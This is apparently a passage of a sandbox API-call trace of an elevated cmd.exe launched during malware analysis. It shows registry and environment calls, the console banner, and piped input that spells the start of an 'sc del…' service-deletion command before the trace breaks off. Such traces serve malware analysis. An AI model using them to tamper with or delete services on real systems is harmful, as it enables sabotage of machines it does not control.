lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x4, lpData=0x1aec60*=0x40, lpcbData=0x1aec44*=0x4) returned 0x0 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x4, lpData=0x1aec60*=0x40, lpcbData=0x1aec44*=0x4) returned 0x0 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x0, lpData=0x1aec60*=0x40, lpcbData=0x1aec44*=0x1000) returned 0x2 [0071.112] RegCloseKey (hKey=0x44) returned 0x0 [0071.112] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aec48 | out: phkResult=0x1aec48*=0x44) returned 0x0 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x0, lpData=0x1aec60*=0x40, lpcbData=0x1aec44*=0x1000) returned 0x2 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x4, lpData=0x1aec60*=0x1, lpcbData=0x1aec44*=0x4) returned 0x0 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x0, lpData=0x1aec60*=0x1, lpcbData=0x1aec44*=0x1000) returned 0x2 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x4, lpData=0x1aec60*=0x0, lpcbData=0x1aec44*=0x4) returned 0x0 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x4, lpData=0x1aec60*=0x9, lpcbData=0x1aec44*=0x4) returned 0x0 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x4, lpData=0x1aec60*=0x9, lpcbData=0x1aec44*=0x4) returned 0x0 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x0, lpData=0x1aec60*=0x9, lpcbData=0x1aec44*=0x1000) returned 0x2 [0071.113] RegCloseKey (hKey=0x44) returned 0x0 [0071.113] time (in: timer=0x0 | out: timer=0x0) returned 0x5eb9350a [0071.113] srand (_Seed=0x5eb9350a) [0071.113] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0071.113] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0071.113] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.113] GetProcessHeap () returned 0x240000 [0071.113] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x25aa10 [0071.113] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0071.114] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.114] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.114] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0071.114] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0071.114] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0071.114] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0071.114] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0071.114] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0071.114] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0071.114] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0071.114] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0071.114] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0071.114] GetProcessHeap () returned 0x240000 [0071.114] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2594f0 | out: hHeap=0x240000) returned 1 [0071.114] GetEnvironmentStringsW () returned 0x258a60* [0071.114] GetProcessHeap () returned 0x240000 [0071.114] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa94) returned 0x25ac30 [0071.114] FreeEnvironmentStringsW (penv=0x258a60) returned 1 [0071.114] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0071.115] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0071.115] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0071.115] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0071.115] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0071.115] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0071.115] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0071.115] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0071.115] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0071.115] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0071.115] GetProcessHeap () returned 0x240000 [0071.115] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5c) returned 0x25b6d0 [0071.115] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1afa50 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.115] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1afa50, lpFilePart=0x1afa30 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1afa30*="Desktop") returned 0x25 [0071.115] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0071.115] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1af760 | out: lpFindFileData=0x1af760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x25b740 [0071.116] FindClose (in: hFindFile=0x25b740 | out: hFindFile=0x25b740) returned 1 [0071.116] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1af760 | out: lpFindFileData=0x1af760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x25b740 [0071.116] FindClose (in: hFindFile=0x25b740 | out: hFindFile=0x25b740) returned 1 [0071.116] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0071.116] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1af760 | out: lpFindFileData=0x1af760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3432dd90, ftLastAccessTime.dwHighDateTime=0x1d62786, ftLastWriteTime.dwLowDateTime=0x3432dd90, ftLastWriteTime.dwHighDateTime=0x1d62786, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x25b740 [0071.116] FindClose (in: hFindFile=0x25b740 | out: hFindFile=0x25b740) returned 1 [0071.116] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0071.116] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0071.116] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0071.117] GetProcessHeap () returned 0x240000 [0071.117] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ac30 | out: hHeap=0x240000) returned 1 [0071.117] GetEnvironmentStringsW () returned 0x25b740* [0071.117] GetProcessHeap () returned 0x240000 [0071.117] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xae8) returned 0x25c230 [0071.117] FreeEnvironmentStringsW (penv=0x25b740) returned 1 [0071.117] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.117] GetProcessHeap () returned 0x240000 [0071.117] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25b6d0 | out: hHeap=0x240000) returned 1 [0071.117] GetProcessHeap () returned 0x240000 [0071.117] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4016) returned 0x25cd20 [0071.118] GetProcessHeap () returned 0x240000 [0071.118] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd20 | out: hHeap=0x240000) returned 1 [0071.118] GetConsoleOutputCP () returned 0x1b5 [0071.118] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0071.118] GetUserDefaultLCID () returned 0x409 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49f97b50, cchData=8 | out: lpLCData=":") returned 2 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1afb60, cchData=128 | out: lpLCData="0") returned 2 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1afb60, cchData=128 | out: lpLCData="0") returned 2 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1afb60, cchData=128 | out: lpLCData="1") returned 2 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49faa740, cchData=8 | out: lpLCData="/") returned 2 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49faa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49faa460, cchData=32 | out: lpLCData="Tue") returned 4 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49faa420, cchData=32 | out: lpLCData="Wed") returned 4 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49faa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49faa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49faa360, cchData=32 | out: lpLCData="Sat") returned 4 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49faa700, cchData=32 | out: lpLCData="Sun") returned 4 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49f97b40, cchData=8 | out: lpLCData=".") returned 2 [0071.119] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49faa4e0, cchData=8 | out: lpLCData=",") returned 2 [0071.120] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0071.121] GetProcessHeap () returned 0x240000 [0071.121] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20c) returned 0x2595c0 [0071.121] GetConsoleTitleW (in: lpConsoleTitle=0x2595c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0071.121] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.121] GetFileType (hFile=0x120) returned 0x3 [0071.121] BrandingFormatString () returned 0x2597e0 [0071.129] GetVersion () returned 0x1db10106 [0071.129] _vsnwprintf (in: _Buffer=0x1afcd0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1afc68 | out: _Buffer="6.1.7601") returned 8 [0071.129] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.129] GetFileType (hFile=0x120) returned 0x3 [0071.129] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49fa6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0071.129] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49fa6340, nSize=0x2000, Arguments=0x1afc70 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0071.129] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0071.129] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1afbf8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afbf8*=0x24, lpOverlapped=0x0) returned 1 [0071.129] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1afc98 | out: _Buffer="\r\n") returned 2 [0071.129] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.130] GetFileType (hFile=0x120) returned 0x3 [0071.130] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.130] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1afc68, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afc68*=0x2, lpOverlapped=0x0) returned 1 [0071.130] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1afc98 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0071.130] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.130] GetFileType (hFile=0x120) returned 0x3 [0071.130] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0071.130] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1afc68, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afc68*=0x3f, lpOverlapped=0x0) returned 1 [0071.130] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1afc98 | out: _Buffer="\r\n") returned 2 [0071.130] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.130] GetFileType (hFile=0x120) returned 0x3 [0071.130] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.130] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1afc68, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afc68*=0x2, lpOverlapped=0x0) returned 1 [0071.131] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0071.131] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0071.131] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0071.131] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0071.131] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.131] GetFileType (hFile=0xb8) returned 0x3 [0071.131] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0071.132] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1afac0 | out: TokenHandle=0x1afac0*=0x0) returned 0xc000007c [0071.132] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1afac0 | out: TokenHandle=0x1afac0*=0x50) returned 0x0 [0071.132] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x1afad0, TokenInformationLength=0x4, ReturnLength=0x1afad8 | out: TokenInformation=0x1afad0, ReturnLength=0x1afad8) returned 0x0 [0071.132] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x1afad8, TokenInformationLength=0x4, ReturnLength=0x1afad0 | out: TokenInformation=0x1afad8, ReturnLength=0x1afad0) returned 0x0 [0071.132] NtClose (Handle=0x50) returned 0x0 [0071.132] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x1afaa0, nSize=0x0, Arguments=0x1afaa8 | out: lpBuffer="韠%") returned 0xf [0071.132] GetProcessHeap () returned 0x240000 [0071.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x241ab0 [0071.132] GetConsoleTitleW (in: lpConsoleTitle=0x1afaf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0071.133] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0071.133] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.134] GetProcessHeap () returned 0x240000 [0071.134] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0071.134] LocalFree (hMem=0x2597e0) returned 0x0 [0071.134] GetProcessHeap () returned 0x240000 [0071.134] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa10 | out: hHeap=0x240000) returned 1 [0071.135] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0071.135] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.135] GetFileType (hFile=0x120) returned 0x3 [0071.135] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.135] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0071.135] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.135] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.135] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.136] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0071.136] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.136] GetFileType (hFile=0x120) returned 0x3 [0071.136] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.136] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0071.136] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.136] GetFileType (hFile=0xb8) returned 0x3 [0071.136] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.136] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.136] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.136] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.186] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.186] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.186] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.186] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0071.186] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.186] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.187] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.187] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.187] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.187] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.187] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.187] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0071.187] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.187] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.187] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.187] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.187] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.187] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.187] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.187] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.187] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.187] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.188] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, 